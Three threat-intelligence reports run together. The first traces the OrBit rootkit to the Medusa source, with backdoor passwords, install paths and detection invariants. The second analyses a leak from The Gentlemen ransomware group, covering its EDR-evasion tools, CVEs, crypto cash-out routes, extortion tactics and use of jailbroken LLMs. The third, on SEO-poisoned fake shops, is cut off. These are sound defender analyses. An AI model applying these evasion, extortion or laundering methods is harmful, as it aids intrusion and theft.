2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments. BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques. Origin: OrBit is a fork of the Medusa open-source rootkit Mandiant's reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022. Mandiant's MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886's MEDUSA binary, is direct cross-attribution: Mandiant's "MEDUSA" sample set and our "OrBit" 2024 cluster are the same builds. We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story. Evidence of the fork The first is a function-set and export match. Compiling Medusa's src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa's build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c. The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa's source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024). 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c 9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkload.c 14: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus. Alongside the filename fingerprint, the loader's entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source. The third is an embedded inner ELF produced by xxd -i. Medusa's Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit's loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical. Per-Module Source Mapping Medusa's source tree maps cleanly onto the OrBit binary set we have tracked: The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to "arrive" in OrBit between 2023 and 2025 was already present as source in Medusa's src/rknet.c on day one of the public release. The operators' work was to modify the Makefile to link rknet.c into their build, not to author those functions. Timeline Anomaly Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository's publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first. Implications The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it. Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written. Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out. The string table produced by Medusa's xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table's shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen. The filesystem skeleton that the loader's build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly. The nested-ELF structure produced by the xxd - +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader's .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive "second ELF at non-zero offset plus length constant" rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader's symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one. Conclusion The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A ("Full" build), which links in Medusa's src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent "milestones" in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa's published source. The operator work is in the build configuration and deployment, not the C code. Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator's transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886's MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal "orbit" string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups. IOC Table Nicole Fishbein Nicole is a senior security researcher and malware analyst at Intezer. Prior to this, she was an embedded researcher in the IDF Intelligence Corps.

On May 4th, 2026, The GentlemenRaaS administrator acknowledged on underground forums that an internal backend database (Rocket) had been leaked. This leak exposed 9 accounts, including zeta88 (aka hastalamuerte), who runs the infrastructure, builds the locker and RaaS panel, manages payouts, and effectively acts as the administrator of the program. The internal discussions provide a rare end‑to‑end view of the operation: they detail initial access paths (Fortinet and Cisco edge appliances, NTLM relay, OWA/M365 credential logs), the division of roles, the shared toolsets, and the group’s active tracking and evaluation of modern CVEs such as CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073. Screenshots from ransom negotiations were also leaked, showing a successful case where the group received 190,000 USD, after starting with an initial demand (anchor) of 250,000 USD. Further chats indicate that stolen data from a UK software consultancy was later reused to attack a company in Turkey. The Gentlemen used this during negotiations as a dual‑pressure tactic: they portrayed the UK firm as the “access broker,” while mentioning to provide “proof” to the Turkish company that the intrusion originated from the UK side and encouraging it to consider legal action against the consultancy. By collecting all available ransomware samples, Check Point Research identified 8 distinct affiliate TOX IDs, including the administrator’s TOX ID. This suggests that the admin not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections. Introduction The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. Its operators advertise the service across multiple underground forums, promoting their ransomware platform and inviting penetration testers and other technically skilled actors to join as affiliates. In 2026, based on victims listed on the data leak site (DLS), The Gentlemen appears to be one of the most active RaaS programs, with approximately 332 published victims in just the first five months of 2026. This volume places the group as the second most productive RaaS operation in that period, at least among those that publicly list their victims. During our previous publication, Check Point Research analyzed a specific infection carried out by an affiliate of this RaaS. In that case, the affiliate used SystemBC, and the associated command‑and‑control (C&C) server revealed more than 1,570 victims. In this publication, we focus on the affiliate program itself and the actors who participate in it. On May 4th, 2026, The Gentlemen administrator acknowledged the leak of an internal database used by the group, which contained operational information about their infrastructure, affiliates, and victims. Check Point Research obtained what appears to be a partial leak of the group’s internal chats and related data, which was briefly posted on an underground forum before being removed. Later on, the leak also appeared on another underground forum. The leaked material includes detailed conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components (including the Rocket database and NAS storage), review CVEs and exploit paths (for example Fortinet, Cisco, and NTLM relay issues), and talk about specific victims, campaigns, and payouts. Together, these messages provide a rare inside view of how The Gentlemen plans, executes, and scales its ransomware operations. The Gentlemen RaaS Admin The Gentlemen RaaS administrator has been very active and vocal on various underground forums, trying to attract affiliates with an aggressive profit-sharing model: 90% for affiliates and 10% for the operator. In September 2025, in one of the first posts promoting the RaaS program, the account Zeta88 published a message advertising the service and inviting individual penetration testers to join as affiliates. Later on, the official posts for this ransomware program started to be published by another account, The Gentlemen. The administrator also shared their TOX ID across several forums. The same TOX ID can be seen on the onion data leak site (DLS), where it is used by affiliates or compromised victims to contact the administrator. In a post on an underground forum, where the administrator demonstrated how affiliates can build the ransomware, we can see the administrator’s profile page, where their TOX ID is again visible in the corresponding field. In the second shared image, we again observe the same TOX ID and see how the target or victim entry is supposed to look from an affiliate’s perspective. Considering that the initial post was made by Zeta88, it is likely that this account belongs to the administrator and that their TOX ID is F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E. This assessment is based on the fact that the same TOX ID appears consistently across different contexts: in the early recruitment posts, in the onion data leak site (DLS), and in the screenshots showing the administrator’s profile and communication fields. Taken together, these overlaps strongly suggest that Zeta88, the later The Gentlemen account, and this TOX ID are all controlled by the same RaaS administrator. RaaS Affiliates Check Point Research collected most of the available artifacts related to The Gentlemen RaaS from online sources. Based on the current 412 public victims listed on the data leak site (DLS), and considering that there are likely additional victims who paid and therefore were not published, we identified 29 unique campaigns in public sources such as VirusTotal. For each of these 29 campaigns, we extracted the TOX ID associated with the corresponding affiliate. Our analysis shows that these campaigns were conducted by 8 unique TOX IDs. There are almost certainly more affiliates involved in this group, however, based on our current locker visibility, we can confidently confirm 29 discovered campaigns and ransomware samples. Based on this small collection of samples, most of the campaigns appear to have been conducted by the affiliate using the TOX ID 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3. It is also noteworthy that the RaaS administrator’s TOX ID has been observed in four unique infections. This suggests that the administrator not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections. RaaS Leak On May 4th, 2026, on an underground forum, the RaaS administrator published a post acknowledging the claims of an internal leak involving their so‑called Rocket database, an internal backend system used to store operational data, and addressed his affiliates directly about the incident. The message continues in a dismissive tone toward the leak seller and then shifts focus back to “more interesting” topics. These include a full overhaul of the communication structure, the deployment of a new NAS with unlimited storage, and several technical upgrades to the locker, such as removing hardware breakpoints, performing NTDLL unhooking, and patching ETW to suppress Event Tracing for Windows. Demanding ransom from a RaaS On May 5th, 2026, the account n7778 with TOX ID 7862AE03A73AAC2994A61DF1F635347F2D1731A77CACC155594C6B681D201F7AD6817AD3AB0A advertised the sale of The Gentlemen’s hacked data on underground forums for 10,000 USD, payable in Bitcoin. In the following days, the same account posted two MediaFire links containing proof files supporting the claimed leak. The first leaked data is a text file that contains the contents of the shadow file from The Gentlemen’s server, including user account entries and their password hashes. The file lists many usernames, among them zeta88, 3NT3R, B1d3n, C0CA, d0wnloAd1, equal1z3r, F3N1X, Gblog88, JLL, LDW, n0n3, PRTGRS, W1Z. Notably, we again see the zeta88 account, the same handle that was used in the initial underground post advertising the RaaS program, further linking this server to the RaaS administrator. The second leaked data set contains partial conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components, review CVEs and exploit paths, and talk about specific victims, campaigns, and payouts. While the partial leaked data that we obtained is around 44.4 MB, a screenshot shared by the same account on another underground forum shows a total size of approximately 16.22 GB, which likely corresponds to the full leaked data set. Roles & Structure The group appears to have a clear division of roles and responsibilities. At the core, the main operator and developer, zeta88 (most likely hastalamuerte), runs the infrastructure and builds and maintains the custom ransomware locker, the RaaS panel and builder (Linux with containers and a TOR front), as well as the GPO‑based spread mechanism and the locker’s “spread” module. This operator also curates toolsets in the TOOLS channel, including EDR kill kits and kiljalki collections, selects targets, and assigns them to specific teams, often talking about “targets”, “подбор” (selection) channels, and distributing corporate victims to groups of 2–3 people. In addition, they manage payouts and negotiations, including multi‑million ransom discussions (“переговоры на 10кк”). Considering our previous assessment that the RaaS administrator also runs campaigns himself (based on TOX IDs), the leaked chats reinforce this view: they show him personally deploying the locker and encrypting at least one victim’s environment. Often, messages sent by zeta88 appear to be copied or adapted from earlier messages made by hastalamuerte, and affiliates frequently mention hastalamuerte by name. Taken together with previous findings and earlier RaaS posts linked to zeta88, these patterns strongly suggest that hastalamuerte and zeta88 are very likely the same person. Below this core role, key operators or affiliates such as qbit and quant handle more hands‑on operational work. qbit is a practical operator on many cases, responsible for scanning and filtering Fortinet VPNs and other edge devices, performing reconnaissance and persistence (including “крепиться клаудом” (English: “to establish persistence via the cloud”) through Cloudflare tunnels or Zero Trust solutions), and using tools such as NetExec (NXC), RelayKing, PrivHound, and NTLM relay scanning. qbit frequently requests clear EDR killer sets, manuals, and guidance for locking ESXi environments, and also brings in new bot or access suppliers (“поставщик ботов”) (English: “supplier of bots”). quant focuses on log‑based access (“логи ЛБ”, i.e. spilled credentials for OWA/O365 and similar services) and maintains a custom log parser and proprietary credential/data collector, referred to as buildx641, which is run from a domain‑joined machine, uses vssadmin, shadow copies, ntds.dit, and SYSTEM copies, and collects and compresses data from multiple hosts. quant is oriented toward OW/OVA spam and higher‑value (“тир1”) (English: “tier‑1”) victims and has set up a powerful “brute server” (Threadripper PRO, 128 GB RAM, RTX 5090) for large‑scale brute forcing. Around these core and key operators, there are several other accounts, including Wick, mAst3r, Protagor, Bl0ck, JeLLy, Kunder, and Mamba who take on various roles such as red‑teamers, advertising partners, access brokers, or case‑specific collaborators; for example, Protagor is mentioned in connection with OV (online vault/OWA‑type) spam, while Mamba acts as an access broker for Fortinet VPNs sourced from ramp. Through this specific leak, we identified 9 unique accounts actively communicating with each other: Kunder, qbit, JeLLy, Protagor, zeta88, Bl0ck, Wick, quant, and mAst3r. This internal interaction pattern supports the view that these accounts form a coordinated operational network within The Gentlemen RaaS ecosystem. This number aligns with our earlier assessment based on the unique TOX IDs extracted from the ransomware lockers. Group members collaborate on various infections and share the profits as well. As a result, the 90% share allocated to the affiliate is often split among multiple affiliates who worked together to achieve a successful intrusion. Based on the analyzed chat messages, the organization’s structure appears to match the model shown in the following image. It is likely that additional members exist who do not appear in this specific leak, but the roles and relationships we observe here are consistent across the available data. There are also indications of an internal separation between trusted members and newcomers—for example, one message notes that “that Rocket is still alive – there are rookies there”—suggesting a tiered or layered structure within the group. Operational workflow The conversations from the leak show a fairly standard but well‑organized operational workflow. The group claims to usually gain initial access through exposed edge devices such as VPN appliances, firewalls, and other internet-facing systems, with a particular focus on platforms like Fortinet FortiGate and Cisco. They combine different methods to achieve this, including credential brute‑forcing against web or VPN panels, exploiting known vulnerabilities, and buying access from third‑party “bot” or access brokers. Screenshots shared in the chats also show them searching for accounts and credentials in data‑breach search engines. Once they obtain a foothold, they treat these systems as pivots to move deeper into the internal network. After gaining access, the operators perform internal reconnaissance and privilege escalation to understand the environment and obtain higher-level permissions, often aiming for domain administrator access. They rely on a mixture of Active Directory discovery, certificate abuse, and various local privilege escalation techniques. At the same time, they invest significant effort into disabling or bypassing security tools such as EDR and antivirus solutions, using a combination of misconfigurations, registry abuse, logging mechanisms, and bring-your-own-vulnerable-driver–style (BYOD) techniques to tamper with or overwrite security binaries. With elevated access and reduced defensive visibility, the group focuses on expanding across the network and preparing for the final stages of the attack. This includes lateral movement, establishing additional tunnels or proxies for reliable connectivity, and relaxing security settings to make further operations easier. They also harvest credentials and browser-based sessions to reuse existing access to corporate services. Data exfiltration is then carried out using automated tools and tuned configurations to move large volumes of data efficiently, often targeting NAS devices, backup systems, and virtualization infrastructure. Finally, once the environment is prepared and critical data is in their control, they deploy their custom ransomware “locker,” which is designed to spread quickly across the network, leverage existing administrator sessions, and encrypt systems in a coordinated manner. Tools & Infra The leaked conversations show that The Gentlemen RaaS operators use a repeatable and fairly mature toolset to support their operations. For remote access and C2, they rely on frameworks like ZeroPulse and Velociraptor, combined with Cloudflare-based tunnels and custom VPN setups to keep stable access into compromised networks. For offensive operations, they use a range of red‑team utilities such as NetExec, RelayKing, TaskHound, PrivHound, CertiHound, and others to perform Active Directory discovery, certificate abuse, privilege escalation, and file share discovery. A separate group of tools is dedicated to EDR and AV evasion, including EDRStartupHinder, gfreeze, glinker, and DumpBrowserSecrets, as well as techniques inspired by public research on abusing Windows logging and Event Tracing for Windows (ETW). Finally, they support these activities with infrastructure and helper tools like port scanners (gogo.exe), usage guides, OSINT extensions, and password‑cracking services, which together give them a reusable framework for running repeated intrusions and ransomware deployments. The leaked chats show that the group pays close attention to other ransomware operations, including the leaked Black Basta negotiations. In particular, they discuss Black Basta’s approach to code signing and note how that group allegedly used VirusTotal to search for legitimate code‑signing certificates, which were then targeted for brute‑force attacks on their private keys. The Gentlemen actors refer to this technique as a model they can reuse or adapt, highlighting their interest in abusing trusted certificates to make their binaries look legitimate and harder to detect. AI mentions The Gentlemen mention AI usage in multiple channels and for various purposes. While it is clear that they have already used AI for code‑assisted development, including experiments with Chinese models, more advanced use cases—such as locally deploying models to analyze large volumes of exfiltrated victim data—are only discussed at a conceptual level. These ideas are suggested in the chats but do not appear to be fully implemented. zeta88 states that he built the GLOCKER admin panel in three days using AI‑assisted coding. He is candid about the limitations of this approach, noting that while AI can speed up development, you still need to understand what you are doing and be able to guide and correct the code it produces. Members share their AI preferences across different chats. zeta88 states that he finds DeepSeek, Qwen, Kimi, and Emi the most effective models for his purposes, particularly for coding assistance and technical queries. He also suggests adding more Chinese LLMs to their toolkit, in addition to those they are already considering or using, such as DeepSeek and Qwen. A couple of months later, qbit shares in the INFO channel their recommendation for “the most radical neural network, which creates any content without censorship. Runs on Qwen 3.5 with all barriers removed… Zero refusals. Absolutely no restrictions.” zeta88 directs affiliates to use AI as a quick reference—for example, to look up FortiGate internals—rather than asking in the channel. For more challenging tasks such as operational data analysis, identifying high‑value access points, and offloading much of the manual data‑triage work to an AI model, the operators explicitly discuss using an uncensored, self‑hosted LLM. However these suggestions appear to remain theoretical, as Protagor admits, “I have no idea how to do that, but I think it’s possible.” Screenshot shared in the chats shows an LLM response on how to send an email to all users via the Jira admin interface, in Russian. It describes two methods, mainly using Jira Automation and user groups. The group appears to be experimenting with well‑known Chinese LLMs and has considered using locally hosted models to assist with data triage on stolen information. CVEs and Exploits While the group discusses these vulnerabilities, shares related links, and occasionally attempts to exploit specific systems using particular CVEs, we cannot confirm whether the targeted machines were actually vulnerable to the exact vulnerabilities they referenced. CVE-2024-55591 – FortiOS management interface This vulnerability affects the FortiOS management interface and fits directly into their broader focus on Fortinet appliances as high‑value initial access points. While the chats do not show detailed exploitation steps, the presence of this CVE alongside their FortiGate targeting suggests it is part of the set of vulnerabilities they track for potential use against exposed management interfaces. In the logs, qbit shares a proof-of-concept (PoC) for CVE-2025-32433, and zeta88 comments on its quality and applicability. This shows that the group is not simply aware of the CVE but is actively evaluating whether it can be used in real operations, specifically in environments where Cisco or Erlang-based SSH services are exposed. Even if they are cautious about PoC reliability, the discussion confirms that this vulnerability is part of their potential exploit toolkit. CVE-2025-33073 – NTLM reflection / NTLM relay qbit references RelayKing and shares output showing domains being scanned for NTLM relay issues, including checks that explicitly cover CVE-2025-33073. This is strong evidence that they are not just reading about the vulnerability but have integrated RelayKing into their standard reconnaissance process to generate target lists for tools like ntlmrelayx. In other words, CVE-2025-33073 is a vulnerability they actively scan for and intend to exploit as part of broader NTLM relay workflows. Other Exploit Paths (Without Explicit CVE IDs) The operators also make heavy use of technique-based exploits where no specific CVE number is mentioned in the chats. These include: MSI service abuse via RegPwn, used for privilege escalation. Veeam to domain admin paths, based on public write‑ups about misconfigured backup infrastructure. iDRAC to domain admin paths, leveraging Dell iDRAC weaknesses. WPR, AutoLogger, and ETW manipulation techniques documented by zerosalarium and others to overwrite or disable security binaries. Payments & Negotiations Zeta88 acts as the organizer/administrator, distributing cryptocurrency payouts to team members (including those who are “AFK”) and advising on how to cash out proceeds via Bitcoin wallets (Guarda, Trust Wallet, Exodus). The group discusses AML (Anti-Money Laundering) evasion strategies. Zeta88 sends a BTC transaction to Kunder as a payout, which Kunder confirms receiving. The specific mentions of how they handle Bitcoin laundering/cash out: Exchange Chains (“связки обмена”) Zeta88 mentions running ~800 transactions through “buy desks” (скупов) via exchange chains, or sometimes sending directly, suggesting chain-hopping to obscure transaction origins. AML Checking They discuss whether their BTC is “clean” and reference a buyer who actively checks AML scores before transacting. They’re uncertain how the scoring works but are aware their coins could be traced. Tinkoff QR Code Cash-Out A specific method mentioned: a buyer converts BTC to cash via Tinkoff bank QR codes, with minimums of 400k rubles (previously 250k). This converts crypto directly to Russian banking infrastructure. Physical Cash Delivery Kunder mentions “locking in the rate” and a guy physically bringing cash at the end of the month, a classic peer-to-peer OTC (over-the-counter) arrangement that bypasses exchanges entirely. Wallet Infrastructure They recommend non-custodial wallets (Guarda, Trust Wallet, Exodus) specifically to avoid KYC/AML controls that centralized exchanges enforce. Blurry screenshots from the leak also shed light on the financial side of the operation. Although not fully legible, they appear to show a negotiation where the group secured approximately 190,000 USD after a discount of about 60,000 USD from the initial ransom demand. zeta88 is very aware of the importance of maximizing pressure on extorted victims to increase the chances of payment. In his private channel, he drafts a generic follow‑up letter that can be adapted to any company, emphasizing the costs of not paying the ransom, including regulatory exposure, reputational damage, and operational impact, and citing assessments from previous attacks. This is not the standard ransom note deployed alongside the encryption, but an additional, more tailored communication intended to reinforce the pressure on the victim. Interesting Negotiation Case In a high‑profile attack in April 2026, a software consultancy company from United Kingdom publicly reported a breach. The company’s leadership stated in an open letter that only “typical business data, including business contact information, contracts, and NDAs related to client work” had been accessed. From what appears to be a personal channel used by zeta88, he drafts a ransom demand letter addressed to the UK company, detailing what The Gentlemen claim to have exfiltrated, including customer infrastructure data, secrets, OAuth credentials, and more. The letter explicitly emphasizes potential GDPR violations as leverage to pressure the victim into paying. Two weeks later, the group published the consultancy’s identity and breach details on their data leak site (DLS). According to the internal chats, data exfiltrated from the consultancy was then reused both before and during attacks against a company in Turkey, where The Gentlemen gained initial access via a vulnerable VPN appliance. zeta88 ran this operation alongside Protagor, creating a backdoor Okta service account himself—typical of his intensive, hands‑on involvement in many of the intrusions documented in the leaked discussions. During the same campaign, zeta88 explicitly references data from the UK consultancy breach to cross‑reference and enrich information about the Turkish company, illustrating how prior compromises are used to enrich and support new attacks. One example mentioned was an internal “Transfer/Migration Document” (in the local language), an internal project document the consultancy maintained in its own collaboration platform describing work they did for the company in Turkey. This document, stolen in the first breach, was then used in the second. The group discussed how best to use this access for extortion. In their internal chats, they talked about publishing the company from Turkey on their DLS together with a statement that, The access to the company in Turkey was obtained through the compromised consultancy from United Kingdom. This served a dual purpose: Punishing the consultancy (UK), which the actors described as “a very bad company.” Increasing pressure on the company in Turkey, by promising to show exactly how they gained access so that, the Turkish would be encouraged to legally pursue the consultancy in UK. Eventually, the Turkish company was published on the group’s DLS, and the attackers “credited” the consultancy in UK as their “access broker”. Their View of Other RaaS Programs and Actors The actors consistently frame the RaaS ecosystem through the lenses of brand strength, payout reliability, and affiliate leverage (percentage splits and control over negotiations). Among the programs mentioned, they clearly distinguish a small “top tier” from a broader landscape of lesser or untrusted players. Conclusion The Gentlemen RaaS program has quickly evolved into a highly active and structured ransomware ecosystem. With over 320 public victims in 2026 and hundreds more systems visible through related infrastructure, it stands among the most productive RaaS operations that maintain a public data‑leak presence. The leaked Rocket backend and internal chats show that this scale is driven not by a loose crowd, but by a small, tightly coordinated core of about 9 named operators and at least 8 distinct affiliate TOX IDs, all organized around the administrator zeta88 / hastalamuerte, who both runs the platform and participates directly in operations. The leak reveals a repeatable, human‑operated ransomware playbook: initial access through exposed edge infrastructure (such as VPNs and management interfaces), rapid expansion and privilege escalation, heavy investment in EDR/AV evasion and ETW/logging tampering, and systematic use of shared tools for discovery, lateral movement, credential theft, and data exfiltration. The group actively tracks and evaluates modern vulnerabilities, including CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073and combines them with technique‑driven paths like backup and management‑controller abuse and NTLM relay workflows, giving them a flexible exploitation pipeline. Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group. Indicators of Compromise Yara Rule rule thegentlemen_ransomware { meta: author = "@Tera0017/Check Point Research" description = "The Gentlemen Ransomware written in GO." strings: $string1 = "Silent mode (don't rename files)" ascii $string2 = "Encrypt only mapped and UNC network shares" ascii $string3 = "README-GENTLEMEN.txt" ascii $string4 = "gentlemen.bmp" ascii $string5 = "gentlemen_system" ascii $string6 = "[+] Encryption started. Going background..." ascii $string7 = "[+] FULL Encryption started" ascii condition: uint16(0) == 0x5A4D and 4 of them } “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

[This is a Guest Diary by Joshua Nikolson, an ISC Intern and part of the SANS.edu Bachelor's degree in Applied Cybersecurity (BACS) program.] Introduction One day at work, a friend messaged me, “How do you check a website to see if it’s legit?” This friend recently received a phishing text message from a “bank”, and I figured he wanted to be careful and double-check. I told him to put the URL into VirusTotal but said that just because it may say it’s clean, that doesn’t mean it’s not malicious. He sent me a screenshot of the VirusTotal page for the URL, with no detections and everything showing green. I took a moment to look at it a little more closely. The domain name was unusual, and right off the bat I could see it had been created in the last few months. As of now, it has one detection from a vendor. All domains mentioned in this blogpost will be listed in the Indicators of Compromise section at the end. Going to the site, I could immediately tell that something was off about it. It was a secondhand marketplace that seemed to sell just about everything under the sun, with tons of listings in each category and items priced too good to be true. While the site had that “AI vibecoded feeling”, I wanted to give my friend something more concrete other than “don’t trust this site”. I decided to reverse image search one of the product images, a Lenovo ThinkPad battery replacement, and after some digging, I found an eBay listing with all the same product images and item descriptions. I did this for a few more of the site’s listings and came to the same result. I let my friend know, and he said, “Yeah, it looked too good to be true”. Finding a Marketplace I found this interesting and wanted to see if I could find something similar again. Today, it is trivial to use AI to mass-deploy these scams, and I wanted to see what would happen if I tried to buy something. Let’s look up what my friend was originally looking for: a Texas Instruments TI-nSpire CAS calculator. Simply searching on Google and going to the second page, something pops out to me. Why is a driving school selling a calculator? The search result link, hxxps://desidrivingschool[.]com/listing/164903741/ redirects to a marketplace where it is for sale: This domain looks suspicious on its own, and to add insult to injury, it was registered ~12 days ago on April 3rd, 2026: What's happening here? You may be asking why this Desi Driving School is showing up in the search results for this calculator? Good question. If you append “/sitemap.xml” to the URL, you can see tons of these listings that are meant to infiltrate the search results. This is a prime example of SEO poisoning, in which potential victims are lured through their shopping searches to these fake marketplaces. Threat actors have previously used compromised WordPress sites as command-and-control infrastructure or to stage payloads, but this is being used as a distinct attack vector. Unfortunately, this website was likely compromised, whether through something like a malicious WordPress plugin or stolen credentials, 